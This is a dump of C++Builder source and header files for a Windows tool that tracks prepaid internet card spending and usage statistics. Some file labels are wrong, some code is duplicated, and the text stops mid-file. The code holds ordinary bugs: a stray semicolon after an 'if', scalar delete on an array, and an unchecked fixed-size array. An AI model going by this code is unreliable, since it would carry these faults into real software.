        TMenuItem *EditRefreshItem;
        TMenuItem *EditStatisticsItem;
        TToolButton *ToolButSettings;
        TToolButton *ToolButRefresh;
        TStatusBar *TheStatusBar;
        TLabel *LabelPercent;
        TMaskEdit *MaskSpentMany;
        TMenuItem *N2;
        TMenuItem *N5;
        TMenuItem *FileCloseItem;
       TTrayIcon *TrayMainIcon;
       TPopupMenu *TrayPopupMenu;
       TMenuItem *ShowMainW;
       TImageList *TrayImage;
       TMenuItem *PopupSettings;
       TMenuItem *N6;
       TMenuItem *N7;
       TMenuItem *PopupExit;
       TMenuItem *PopupAbout;
       TMenuItem *Hide1;
       TToolButton *ToolButton1;  // &About...
	void __fastcall FileNew(TObject *Sender);
	void __fastcall FileOpen(TObject *Sender);
	void __fastcall FileSave(TObject *Sender);
	void __fastcall FileSaveAs(TObject *Sender);
	void __fastcall FilePrint(TObject *Sender);
	void __fastcall FilePrintSetup(TObject *Sender);
	void __fastcall FileExit(TObject *Sender);
        void __fastcall HelpContents(TObject *Sender);
	void __fastcall HelpSearch(TObject *Sender);
	void __fastcall HelpHowToUse(TObject *Sender);
	void __fastcall HelpAbout(TObject *Sender);
        void __fastcall ViewShowToolsBarItemClick(TObject *Sender);
        void __fastcall RadionButtDialUpClick(TObject *Sender);
        void __fastcall RadioButtWifiClick(TObject *Sender);
        void __fastcall FormCreate(TObject *Sender);
        void __fastcall ChBoxCountInTimeClick(TObject *Sender);
        void __fastcall EditRefreshItemClick(TObject *Sender);
        void __fastcall CountButtWiFiClick(TObject *Sender);
        void __fastcall ButtCountDialClick(TObject *Sender);
        void __fastcall EditSpentMbChange(TObject *Sender);
        void __fastcall MaskSpentManyChange(TObject *Sender);
        void __fastcall MaskSpentManyClick(TObject *Sender);
        void __fastcall FileCloseItemClick(TObject *Sender);
        void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
        void __fastcall EditSpentMbClick(TObject *Sender);
        void __fastcall EditSpentMinutesChange(TObject *Sender);
        void __fastcall EditSpentHoursChange(TObject *Sender);
        void __fastcall EditStatisticsItemClick(TObject *Sender);
       void __fastcall EditSettingsItemClick(TObject *Sender);
       void __fastcall PopupExitClick(TObject *Sender);
       void __fastcall ShowMainWClick(TObject *Sender);
       void __fastcall PopupSettingsClick(TObject *Sender);
       void __fastcall PopupAboutClick(TObject *Sender);
       void __fastcall Hide1Click(TObject *Sender);
       void __fastcall FormShow(TObject *Sender);

private:        // private user declarations
        TheCard *pWF_Card;  //  The pointer of virtual wifi card

public:         // public user declarations
	virtual __fastcall TMainForm(TComponent* Owner);

        //...............  Variable  ...............

        AnsiString *pfilename;             // The Name Of Open File
        bool Card_changed;               // Variable To Control Card Changed
        Graphics::TBitmap *pConnectImg; // Pointer For Connect Images



        //............... Function  ................
        void fFileOpen(AnsiString fFileName);     // Uses to open file
        void CardRefresh(void) ;                  // Uses to get info from card and show of panel
        void MenuItemShowHide(bool mAction);     // Use to hide or show toolbars when file open or close
        void CardClose(void);                   // Uses to chack was the file changed if no close or save and close;
};


//---------------------------------------------------------------------------
extern TMainForm *MainForm;
//---------------------------------------------------------------------------
//------------------ Constants ----------------------------------------------
#endif
// ******************************
// **** 					*****
// ****     FileCard.h		*****
// ****						*****
// ******************************
/////////////////////////////////////////////////////////////////////////////////
//                                                                             //
//      This class uses temporary only to save select card value and           //
//      sent this value to TheCard class, then object of TFileCard is deleting //
//                                                                             //
/////////////////////////////////////////////////////////////////////////////////

class TFileCard

{
        public:
                TFileCard();
                TFileCard(int Many, int MSize, int HourCost);
                TFileCard(String Many, String MSize, String HourCost);
                ~TFileCard();

                void SetMany(String Many);
                void SetMSize(String MSize);
                void SetHourCost(String HourCost);

                int GetMany() const;
                int GetMSize() const;
                int GetHourCost() const;
                String GetHourCostStr() const;
                String GetCardType() const;
        private:
                int *itsMany;
                int *itsMSize;
                int *itsHourCost;
};

/////////         Default Constructor      ////////////
TFileCard::TFileCard()
{
        itsMany = new int(0);
        itsMSize = new int(0);
        itsHourCost = new int(0);
}

/////////       Overloaded Constructor accepts int values       /////////
TFileCard::TFileCard(int Many, int MSize, int HourCost)
{
        itsMany = new int(Many);
        itsMSize = new int(MSize);
        itsHourCost = new int(HourCost);
}

/////////       Oveloaded Constructor accepts AnsiString values         ///////////
TFileCard::TFileCard(String Many, String MSize, String HourCost)
{
        itsMany = new int(StrToInt(Many));
        itsMSize = new int(StrToInt(MSize));
        itsHourCost = new int(StrToInt(HourCost));
}

/////////         Destructor, delete pointers   ///////////
TFileCard::~TFileCard()
{
        delete itsMany;
        itsMany = 0;
        delete itsMSize;
        itsMSize = 0;
        delete itsHourCost;
        itsHourCost = 0;
}

void TFileCard::SetMany(String Many)
{
        *itsMany = StrToInt(Many);
}

void TFileCard::SetMSize(String MSize)
{
        *itsMSize = StrToInt(MSize);
}

void TFileCard::SetHourCost(String HourCost)
{
        *itsHourCost = StrToInt(HourCost);
}

int TFileCard::GetMany() const
{
        return *itsMany;
}

int TFileCard::GetMSize() const
{
        return *itsMSize;
}

int TFileCard::GetHourCost() const
{
        return *itsHourCost;
}

String TFileCard::GetHourCostStr() const
{
        float tempValue = float(*itsHourCost);
        tempValue /= 100;
        return FloatToStrF(tempValue, ffFixed,10,2);
}

String TFileCard::GetCardType() const
{
        return IntToStr(*itsMany / 100);
}
// ******************************
// **** 					*****
// ****     UStatistics.h	*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#ifndef UStatisticsH
#define UStatisticsH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <Grids.hpp>
#include <ComCtrls.hpp>
#include <ExtCtrls.hpp>
//---------------------------------------------------------------------------
class TFStatistics : public TForm
{
__published:	// IDE-managed Components
        TButton *ButtClose;
        TStatusBar *StatusBarAmount;
        TStringGrid *StatisticsGrid;
       TImage *ImageLogo;
       TLabel *Label1;
       TBevel *LineBevel;
        void __fastcall ButtCloseClick(TObject *Sender);
        void __fastcall FormShow(TObject *Sender);
        void __fastcall ButtSaveClick(TObject *Sender);
        void __fastcall FormCreate(TObject *Sender);
private:	// User declarations
public:		// User declarations
        __fastcall TFStatistics(TComponent* Owner);

     //-------------- Variables --------------
        TStringList *StatisticsList;             // list value from card
        TStringList *pAll_Statistics;            // list , contains statistics card and file
        bool __CreateFile;
        int __SelectRows;

     //-------------- Function ---------------
        AnsiString StatFileName(); // return file name
        void CreateStsFile();
        void OpenStsFile();
        void ReadStsFile(TFileStream *pFile, TStringList *pStringList);  // Open statictics file
        void SaveStsFile();                      // Save statistcs file
        void __MakeAllStat();   // Add statistics info in pAll_Statistics;
};
//---------------------------------------------------------------------------
extern PACKAGE TFStatistics *FStatistics;
//---------------------------------------------------------------------------
#endif

// ******************************
// **** 					*****
// ****     TheCard.h		*****
// ****						*****
// ******************************
////////////////////////////////////////////////////////////////////
//                                                                //
//      Class TheCard make possible to create a Object of Card    //
//      have several member-function and member-variables         //
//                                                                //
////////////////////////////////////////////////////////////////////


enum ChangeFlags {flMany, flMbytes, flMinutes };

AnsiString itsStatistics = "0"; // contains date, time, many, mb, time value

class TheCard
{
       public:
              TheCard(int Many, int Mb, int Hour);
              ~TheCard();

              //...... Get Member-Function .............
              int GetManyAmount() const;
              int GetMbAmount() const;

              float GetManyLeft() const;
              float GetMbLeft() const;
              float GetMbCost() const;
              int GetMinutesLeft() const;
              AnsiString GetTimeLeft() const;
              AnsiString GetSatistics() const;

              //....... Main Member Function "Calculator" ..........
              void ChangeCardValue(int chValue, ChangeFlags theFlags);

              AnsiString GetTimeStr(int intMinutes);

       private:

       //...... This variables not change ........
              int itsManyAmount;
              int itsMbAmount;
              int itsHourCost;

       //...... This is change ...................
              float itsManyLeft;
              float itsMbLeft;


       //...... Private Members-function .........

};

//-------------- Determination of members-fucntion ----------------//

//--------------- Constructor -------------------------------------//
TheCard::TheCard(int Many, int Mb, int Hour)
{
       itsManyAmount = Many;
       itsManyLeft = float(Many);
       itsMbAmount = Mb;
       itsMbLeft = float(Mb);
       itsHourCost = Hour;
       //itsStatistics = "0";
}

//--------------- Destructor -------------------------------------//
TheCard::~TheCard()
{
       //ShowMessage("Destructor");
}

//----------------- Function return the amount of many on card -------------//
int TheCard::GetManyAmount() const
{
       return itsManyAmount;
}

//----------------- Function return the amount of Mbytes on card -----------//
int TheCard::GetMbAmount() const
{
       return itsMbAmount;
}

//------------------ Function return remained many --------------------//
float TheCard::GetManyLeft() const
{
       return itsManyLeft;
}

//----------------- Function return remained mbytes -----------------//
float TheCard::GetMbLeft() const
{
       return itsMbLeft;
}

//---------------- Get time in minutes return in hours and minutes --------//
AnsiString TheCard::GetTimeStr(int intMinutes)
{
       int Hours;

       Hours = intMinutes / 60;
       intMinutes -= (Hours * 60);
       return IntToStr(Hours) +":" + FloatToStr(intMinutes);
}

//------------------ Function return have many cost one mbytes --------------//
float TheCard::GetMbCost() const
{
       return (float(itsMbAmount) / itsManyAmount);
}

//------------------ Function return have many time on the card ---------------//
AnsiString TheCard::GetTimeLeft() const
{
       int HaveMinutes;
       int Hours;

       HaveMinutes = (float(itsManyLeft) / itsHourCost) * 60;
       Hours = HaveMinutes / 60;
       HaveMinutes -= (Hours * 60);
       return IntToStr(Hours) +":" + FloatToStr(HaveMinutes);
}

// ---------------- The member-function to return left minutes ------------//
int TheCard::GetMinutesLeft() const
{
       return  (float(itsManyLeft) / itsHourCost) * 60;
}

// --------------- Member-Function to return the string of statistics ----------//
AnsiString TheCard::GetSatistics() const
{
       if (itsStatistics != "0")
               return itsStatistics;
       else
               return "0";
}
// --------- Member-Function to change many and mbytes ans set statistics ------------//
void TheCard::ChangeCardValue(int chValue, ChangeFlags theFlags)
{
       //---------------------------//
       float VarMbytesSpent = 0;      //
       float VarManySpent = 0;      //
       AnsiString TimeSpent = "0";  //
       AnsiString ConType = "0";    //
       //---------------------------//
       int VarMinutesSpent = 0;     //
                                    //
       // + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + =//
       switch (theFlags)
       {
               // -------------- Select variant in many ----------------------------//
              case flMany :
                     if (chValue <= itsManyLeft)
                     {
                            VarManySpent = float(chValue);
                            ConType = "Dial-Up";
                            itsManyLeft -= VarManySpent;
                            VarMbytesSpent = VarManySpent * GetMbCost();
                            itsMbLeft -= VarMbytesSpent;
                            //--------------------------------------
                            VarMinutesSpent = VarManySpent / (itsHourCost / 60);
                            TimeSpent = GetTimeStr(VarMinutesSpent);

                            VarManySpent /= 100;
                     }
                     break;
                //---------------- Selected variant count in mbytes -----------------//
              case flMbytes :

                     if(chValue <= itsMbLeft)
                     {
                            VarMbytesSpent = chValue;
                            ConType = "Wi-Fi   ";
                            itsMbLeft -= VarMbytesSpent;
                            VarManySpent = VarMbytesSpent / GetMbCost();
                            itsManyLeft -= VarManySpent;
                            //--------------------------------------
                            VarMinutesSpent = VarManySpent / (itsHourCost / 60);
                            TimeSpent = GetTimeStr(VarMinutesSpent);

                            VarManySpent /= 100;
                     }
                     break;
                //----------------------- Select variant in time    ------------//
              case flMinutes :

                     if (chValue <= GetMinutesLeft())
                     {
                            VarMinutesSpent = chValue;
                            ConType = "Dial-Up";
                            VarManySpent = VarMinutesSpent * (itsHourCost / 60);
                            itsManyLeft -= VarManySpent;
                            VarMbytesSpent = VarManySpent * GetMbCost();
                            itsMbLeft -= VarMbytesSpent;
                            //--------------------------------------
                            TimeSpent = GetTimeStr(VarMinutesSpent);

                            VarManySpent /= 100;
                     }
                     break;
                //-------------------------------------------------------------------//
              default : break;
        }
       // + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = + =//
       if (VarMbytesSpent != 0)
       itsStatistics = "   " + DateTimeToStr(Now()) + "               " + ConType + "               " + FloatToStrF(VarManySpent, ffFixed,10,2) + "              " + FloatToStrF(VarMbytesSpent, ffFixed,10,2)+ "             " + TimeSpent;
}

// ******************************
// **** 					*****
// ****     UFileNew.h		*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#ifndef UFileNewH
#define UFileNewH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <Buttons.hpp>
#include <ExtCtrls.hpp>
#include <jpeg.hpp>
#include <ImgList.hpp>
#include <Graphics.hpp>

//---------------------------------------------------------------------------
class TFileCard;
class TFFileCreate : public TForm
{
__published:	// IDE-managed Components
        TPanel *MainPanel;
        TBevel *ImageBevel;
        TImage *CardImages;
        TLabel *LabelSelect_Card;
        TComboBox *CardBox;
        TLabeledEdit *MbytesOnCard;
        TLabeledEdit *HourOnCard;
        TButton *CancelButt;
        TButton *OkButt;
        TBevel *BevelProg;
        TLabel *ProgName;
        TLabel *LabelCardType;
        TBevel *BevelImage;
        void __fastcall FormShow(TObject *Sender);
        void __fastcall CancelButtClick(TObject *Sender);
        void __fastcall CardBoxChange(TObject *Sender);
        void __fastcall OkButtClick(TObject *Sender);
        void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
private:	// User declarations

        bool OnSelectCard; // switch to show message

public:		// User declarations
        __fastcall TFFileCreate(TComponent* Owner);
        int *ExMany;
        int *ExMSize;
        int *ExHourCost;
        bool CrCard;
        Graphics::TBitmap*    pImgCard;  // pointer for images of card

        TFileCard *NewFileCard; // pointer for cards objects

};
//---------------------------------------------------------------------------
extern PACKAGE TFFileCreate *FFileCreate;
//---------------------------------------------------------------------------

#endif

// ******************************
// **** 					*****
// ****     USettings.h		*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#ifndef USettingsH
#define USettingsH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ComCtrls.hpp>
#include <ExtCtrls.hpp>
#include "inifiles.hpp" // to use ini files
//---------------------------------------------------------------------------
class TFSettings : public TForm
{
__published:	// IDE-managed Components
       TGroupBox *GroupBoxGenerSett;
       TCheckBox *ChBoxStartWithWin;
       TCheckBox *ChBoxHideWin;
       TCheckBox *ChBoxShowTray;
       TBevel *OneLine;
       TBevel *TwoLine;
       TButton *ButtOk;
       TButton *ButtCancel;
       TButton *ButtDefault;
       TLabel *ProgName;
       TBevel *BevelProg;
       TBevel *ThreeLine;
       TTrackBar *TrackTransparency;
       TLabel *TrackName;
       TLabel *LabMin;
       TLabel *LabMax;
       TBevel *FourLine;
       void __fastcall ButtCancelClick(TObject *Sender);
       void __fastcall ChBoxShowTrayClick(TObject *Sender);
       void __fastcall ButtOkClick(TObject *Sender);
       void __fastcall FormCreate(TObject *Sender);
       void __fastcall TrackTransparencyChange(TObject *Sender);
       void __fastcall ButtDefaultClick(TObject *Sender);
private:	// User declarations
public:		// User declarations
       __fastcall TFSettings(TComponent* Owner);

       TIniFile *pIni;    // pointer to ini file
       String IniName;
       int transpCatch ; // temp value to save transparency

       void ReadWriteIni(void); //

};
//---------------------------------------------------------------------------
extern PACKAGE TFSettings *FSettings;
//---------------------------------------------------------------------------
#endif

// ******************************
// **** 					*****
// ****     USplash.h		*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#ifndef USplashH
#define USplashH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ExtCtrls.hpp>
#include <Graphics.hpp>
#include <jpeg.hpp>
//---------------------------------------------------------------------------
class TFSplash : public TForm
{
__published:	// IDE-managed Components
       TImage *ImgLogo;
       TTimer *SplashTimer;
       TLabel *VersionName;
       void __fastcall SplashTimerTimer(TObject *Sender);
       void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
private:	// User declarations
public:		// User declarations
       __fastcall TFSplash(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TFSplash *FSplash;
//---------------------------------------------------------------------------
#endif

// ******************************
// **** 					*****
// ****     Main.cpp		*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "UStatistics.h"
#include "Main.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TFStatistics *FStatistics;

//---------------------------------------------------------------------------
__fastcall TFStatistics::TFStatistics(TComponent* Owner)
        : TForm(Owner)
{
}



//---------------------------------------------------------------------------
void __fastcall TFStatistics::ButtCloseClick(TObject *Sender)
{
        Close();
}



//------------ When Form Open, Read File and StatisticsList ------------------//
void __fastcall TFStatistics::FormShow(TObject *Sender)
{
       ImageLogo->Picture->Bitmap = MainForm->pConnectImg;
       // --------- Clean the table and All_Statistics --------------
       StatisticsGrid->Cols[0]->Clear();
       StatisticsGrid->RowCount = 2;
       pAll_Statistics->Clear();

       // --------- Fill the table ------------------
       StatisticsGrid->Rows[0]->Add("      Date     &     Time      |      Connection      |      Many      |      Mbytes      |      Time      ");

       __MakeAllStat();

       StatisticsGrid->RowCount += pAll_Statistics->Count ;
       StatisticsGrid->Cols[0]->AddStrings(pAll_Statistics);

       StatusBarAmount->Panels->Items[0]->Text = "Amount of connecting: " + IntToStr(pAll_Statistics->Count);
}



//---------------------------------------------------------------------------

// ------------ Make all statistics -------------------
void TFStatistics::__MakeAllStat()
{
       pAll_Statistics->Clear();
       pAll_Statistics->AddStrings(StatisticsList);
       OpenStsFile();       // try to open and read file with statistics
}

void __fastcall TFStatistics::ButtSaveClick(TObject *Sender)
{
       SaveStsFile();
}



//---------------------------------------------------------------------------

void __fastcall TFStatistics::FormCreate(TObject *Sender)
{
        StatisticsList = new TStringList();
        pAll_Statistics = new TStringList();
        __CreateFile = true;
        __SelectRows = 0;
}


//------------- Create Statistics File ------------------------------
void TFStatistics::CreateStsFile()
{
       if (__CreateFile)
       {
              TFileStream *CreateStsFile = new TFileStream(StatFileName(), fmCreate); // make new file

              delete CreateStsFile;
              CreateStsFile = 0;

       }
}



//-------------- Open Statistics File --------------------------
void TFStatistics::OpenStsFile()
{
       TFileStream *pOpenFile;

       TStringList *pFileList = new TStringList();
       try
       {
              pOpenFile = new TFileStream(StatFileName(), fmOpenRead); // open the file

              ReadStsFile(pOpenFile, pFileList); // Read the file

              pAll_Statistics->AddStrings(pFileList);

              delete pOpenFile;
              pOpenFile = 0;
              delete pFileList;
              pFileList = 0;
       }
       catch(...)
       {
              pOpenFile = 0;
              delete pFileList;
              pFileList = 0;

              CreateStsFile();
       }
}



//-------------   Read Statistics File    -------------------------
void TFStatistics::ReadStsFile(TFileStream *pFile, TStringList *pStringList)
{
       AnsiString rText;
       if( pFile != NULL )
       {
              int size;
              pFile->Read(& size, sizeof(size));
              if( size != 0 )
              {
                     try
                     {
                            rText.SetLength(size);
                            pFile->Read((void *)(rText.data()), size);
                            pStringList->SetText(rText.c_str());
                     }
                     catch( EOutOfMemory & )
                     {}
              }
       }
}



//------------ Save Statistics File ----------------------
void TFStatistics::SaveStsFile()
{
       TFileStream *pStsFile = new TFileStream(StatFileName(), fmCreate); // Make new File
        if( pStsFile != NULL )
        {
              AnsiString text = pAll_Statistics->GetText(); //

              int size = text.Length();
              pStsFile->Write(&size, sizeof(size));
              if( size != 0 ) pStsFile->Write(text.data(), size);
        }

        delete pStsFile;
        pStsFile = 0;
}



//--------------------------------------------------------------------------- Return the file name, taked from main unit ---------------------
AnsiString TFStatistics::StatFileName()
{
       AnsiString StatFileName = *MainForm->pfilename;
       if (StatFileName == "")
       {
              __CreateFile = false;
       }
       else
       {
              //  make from Card file name, file name to statistics file ( .wst)
              StatFileName.Delete(StatFileName.Length()-3, 4);
              StatFileName.Insert(".wst", StatFileName.Length() + 1);
       }
       return StatFileName;
}

// ******************************
// **** 					*****
// ****     UFileNew.cpp	*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
#include <fstream.h>
#include "UFileNew.h"
#include "FileCard.h"
//--------------------
//-------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
#pragma resource "CardImages.res"

TFFileCreate *FFileCreate;


//---------------------------------------------------------------------------
__fastcall TFFileCreate::TFFileCreate(TComponent* Owner)
        : TForm(Owner)
{
}

//---------------------------------------------------------------------------
void __fastcall TFFileCreate::FormShow(TObject *Sender)
{
        NewFileCard = new TFileCard[20];
        char CardValue[20];
        String CardInf[4];
        int Count = 0;
        OnSelectCard = false;

        ifstream CardFile((ExtractFilePath(Application->ExeName) + "Cards.txt").c_str());
        while ((CardFile.peek()) != EOF)
        {
                for (int i = 0; i < 3; i++)
                {
                        CardFile.getline(CardValue,20);
                        CardInf[i] = CardValue;
                }
                NewFileCard[Count].SetMany(CardInf[0]);
                NewFileCard[Count].SetMSize(CardInf[1]);
                NewFileCard[Count].SetHourCost(CardInf[2]);

                Count++;
        }
        CardFile.close();

        for (int j=0 ; j < Count; j++)
        {
                CardBox->Items->Add(NewFileCard[j].GetCardType());
        }

        pImgCard = new Graphics::TBitmap;
        pImgCard->LoadFromResourceName((int)HInstance, "C10");
        CardImages->Picture->Bitmap = pImgCard;
}
//---------------------------------------------------------------------------

void __fastcall TFFileCreate::CancelButtClick(TObject *Sender)
{
        Close();
}
//---------------------------------------------------------------------------

void __fastcall TFFileCreate::CardBoxChange(TObject *Sender)
{
        if (CardBox->ItemIndex != -1)
        {
                MbytesOnCard->Text = NewFileCard[CardBox->ItemIndex].GetMSize();
                HourOnCard->Text = NewFileCard[CardBox->ItemIndex].GetHourCostStr();

                if (CardBox->ItemIndex < 4)
                {
                        AnsiString ImgName;
                        ImgName = "C" + IntToStr(CardBox->ItemIndex);

                        pImgCard->LoadFromResourceName((int)HInstance, ImgName);
                        CardImages->Picture->Bitmap = pImgCard;
                }
                else
                {
                        pImgCard->LoadFromResourceName((int)HInstance, "C10");
                        CardImages->Picture->Bitmap = pImgCard;
                }

        }
}
//---------------------------------------------------------------------------

void __fastcall TFFileCreate::OkButtClick(TObject *Sender)
{
        if (CardBox->ItemIndex != -1)
        {
                int CBIn = 0;
                CBIn = CardBox->ItemIndex;
                ExMany = new int(NewFileCard[CBIn].GetMany());
                ExMSize = new int(NewFileCard[CBIn].GetMSize());
                ExHourCost = new int(NewFileCard[CBIn].GetHourCost());
                CrCard = true;

                if (OnSelectCard)
                        MessageDlg("Thank's that choose a card :)",mtInformation, TMsgDlgButtons() << mbOK, 0);
                Close();
        }
        else
        {
                MessageDlg("You did not choose a card :(",mtError, TMsgDlgButtons() << mbOK, 0);
                CardBox->DroppedDown = true;
                OnSelectCard = true;
        }
}
//---------------------------------------------------------------------------


void __fastcall TFFileCreate::FormClose(TObject *Sender,
      TCloseAction &Action)
{
        delete pImgCard;
        pImgCard = 0;
        delete NewFileCard;
        NewFileCard = 0;
        CardBox->Clear();
}
//---------------------------------------------------------------------------


// ******************************
// **** 					*****
// ****     USettings.cpp	*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "USettings.h"
#include "Main.h"

#include "registry.hpp"

//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"


TFSettings *FSettings;
//---------------------------------------------------------------------------
__fastcall TFSettings::TFSettings(TComponent* Owner)
       : TForm(Owner)
{
}

//---------------------- Read ini file ans set checks -----------------------
void __fastcall TFSettings::FormCreate(TObject *Sender)
{
       IniName = ExtractFilePath(Application->ExeName) + "Settings.ini";
       if (FileExists(IniName)) // if file exists, then read 
       {
              pIni = new TIniFile(IniName);

              //------------ Start to read values -------------
              ChBoxStartWithWin->Checked = pIni->ReadBool("Settings", "Autorun", false);
              ChBoxShowTray->Checked = pIni->ReadBool("Settings", "TrayShow", true);
              ChBoxHideWin->Checked = pIni->ReadBool("Settings", "HideMainWind", false);
              TrackTransparency->Position = pIni->ReadInteger("Settings", "Visibility", 255);
              transpCatch = TrackTransparency->Position;
              delete pIni;
       }
       else
              transpCatch = 255;
       ReadWriteIni();
}

//---------------------- Set transparency if select else  -----------------
void __fastcall TFSettings::ButtCancelClick(TObject *Sender)
{
       TrackTransparency->Position = transpCatch;
       Close();
}

//---------------- Show another checks if this checked --------------------
void __fastcall TFSettings::ChBoxShowTrayClick(TObject *Sender)
{
       if(ChBoxShowTray->Checked == true)
              ChBoxHideWin->Enabled = true;
       else
       {
              ChBoxHideWin->Enabled = false;
              ChBoxHideWin->Checked = false;
       }
}

//----------------------- Write Ini file ----------------------------
void __fastcall TFSettings::ButtOkClick(TObject *Sender)
{
       ReadWriteIni();

       Close();
}

//---------------------- ReadWriteINi file ------------------------------------
void TFSettings::ReadWriteIni()
{
       ////// create ini file and write parameters ////////////
       TFileStream *tempFile = new TFileStream(IniName, fmCreate);
       tempFile->Free();

       pIni = new TIniFile(IniName);
       pIni->WriteString("Copyright", "Lisovoy_Igor", "Leonidovich");
       pIni->WriteBool("Settings", "Autorun", ChBoxStartWithWin->Checked );
       pIni->WriteBool("Settings", "TrayShow", ChBoxShowTray->Checked);
       pIni->WriteBool("Settings", "HideMainWind", ChBoxHideWin->Checked);
       pIni->WriteInteger("Settings", "Visibility", TrackTransparency->Position);

       delete pIni;

       //////  Set Autorun when windows starting //////////////
       if (ChBoxStartWithWin->Checked)
       {
              TRegistry *Reg = new TRegistry(KEY_ALL_ACCESS);
              try
              {
                     Reg->RootKey = HKEY_LOCAL_MACHINE;
                     if (Reg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",True))
                     {
                            Reg->WriteString(ExtractFileName(Application->ExeName),Application->ExeName);
                            Reg->CloseKey();
                     }
              }
              __finally
              {
                     delete Reg;
              }
       }
       else if (ChBoxStartWithWin->Checked == false)
       {
              TRegistry *Reg = new TRegistry(KEY_ALL_ACCESS);
              try
              {
                     Reg->RootKey = HKEY_LOCAL_MACHINE;
                     if (Reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true))
                     {
                            if (Reg->ValueExists(ExtractFileName(Application->ExeName)) == true);
                                   Reg->DeleteValue(ExtractFileName(Application->ExeName));
                            Reg->CloseKey();
                     }
              }
              __finally
              {
                     delete Reg;
              }
       }

       /////////////////////  Show Tray Icon   //////////////////////
       if (ChBoxShowTray->Checked == true)
       {
              if (MainForm->TrayMainIcon->Visible == false)
                     MainForm->TrayMainIcon->Visible = true;
       }
       else
       {
              if (MainForm->TrayMainIcon->Visible == true)
                     MainForm->TrayMainIcon->Visible = false;
       }

       //////////////////   Hide Program when tray enabled ///////////////
       if (ChBoxHideWin->Checked == true)
        {
              if (FSettings->Visible == false) // to make sure then all by ok
              {
                     MainForm->WindowState = wsMinimized;
                     MainForm->TrayMainIcon->Minimize();
              }
        }
}

//------------ Change the visibilyti  -----------------------------
void __fastcall TFSettings::TrackTransparencyChange(TObject *Sender)
{
       MainForm->AlphaBlendValue = TrackTransparency->Position;
}

//-------------    Write Default Settings    ---------------------------------
void __fastcall TFSettings::ButtDefaultClick(TObject *Sender)
{
       ChBoxStartWithWin->Checked = false;         // set default settings
       ChBoxShowTray->Checked = true;
       ChBoxHideWin->Checked = false;
       TrackTransparency->Position = 255;

       ReadWriteIni();    // write default settings

       Close();
}

// ******************************
// **** 					*****
// ****     USplash.cpp		*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "USplash.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TFSplash *FSplash;
//---------------------------------------------------------------------------
__fastcall TFSplash::TFSplash(TComponent* Owner)
       : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TFSplash::SplashTimerTimer(TObject *Sender)
{
       Close();       
}
//---------------------------------------------------------------------------
void __fastcall TFSplash::FormClose(TObject *Sender, TCloseAction &Action)
{
       Action = caFree;       
}
//---------------------------------------------------------------------------

// ******************************
// **** 					*****
// ****     UStatistics.cpp	*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "UStatistics.h"
#include "Main.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TFStatistics *FStatistics;

//---------------------------------------------------------------------------
__fastcall TFStatistics::TFStatistics(TComponent* Owner)
        : TForm(Owner)
{
}



//---------------------------------------------------------------------------
void __fastcall TFStatistics::ButtCloseClick(TObject *Sender)
{
        Close();
}



//------------ When Form Open, Read File and StatisticsList ------------------//
void __fastcall TFStatistics::FormShow(TObject *Sender)
{
       ImageLogo->Picture->Bitmap = MainForm->pConnectImg;
       // --------- Clean the table and All_Statistics --------------
       StatisticsGrid->Cols[0]->Clear();
       StatisticsGrid->RowCount = 2;
       pAll_Statistics->Clear();

       // --------- Fill the table ------------------
       StatisticsGrid->Rows[0]->Add("      Date     &     Time      |      Connection      |      Many      |      Mbytes      |      Time      ");

       __MakeAllStat();

       StatisticsGrid->RowCount += pAll_Statistics->Count ;
       StatisticsGrid->Cols[0]->AddStrings(pAll_Statistics);

       StatusBarAmount->Panels->Items[0]->Text = "Amount of connecting: " + IntToStr(pAll_Statistics->Count);
}



//---------------------------------------------------------------------------

// ------------ Make all statistics -------------------
void TFStatistics::__MakeAllStat()
{
       pAll_Statistics->Clear();
       pAll_Statistics->AddStrings(StatisticsList);
       OpenStsFile();       // try to open and read file with statistics
}

void __fastcall TFStatistics::ButtSaveClick(TObject *Sender)
{
       SaveStsFile();
}



//---------------------------------------------------------------------------

void __fastcall TFStatistics::FormCreate(TObject *Sender)
{
        StatisticsList = new TStringList();
        pAll_Statistics = new TStringList();
        __CreateFile = true;
        __SelectRows = 0;
}


//------------- Create Statistics File ------------------------------
void TFStatistics::CreateStsFile()
{
       if (__CreateFile)
       {
              TFileStream *CreateStsFile = new TFileStream(StatFileName(), fmCreate); // make new file

              delete CreateStsFile;
              CreateStsFile = 0;

       }
}



//-------------- Open Statistics File --------------------------
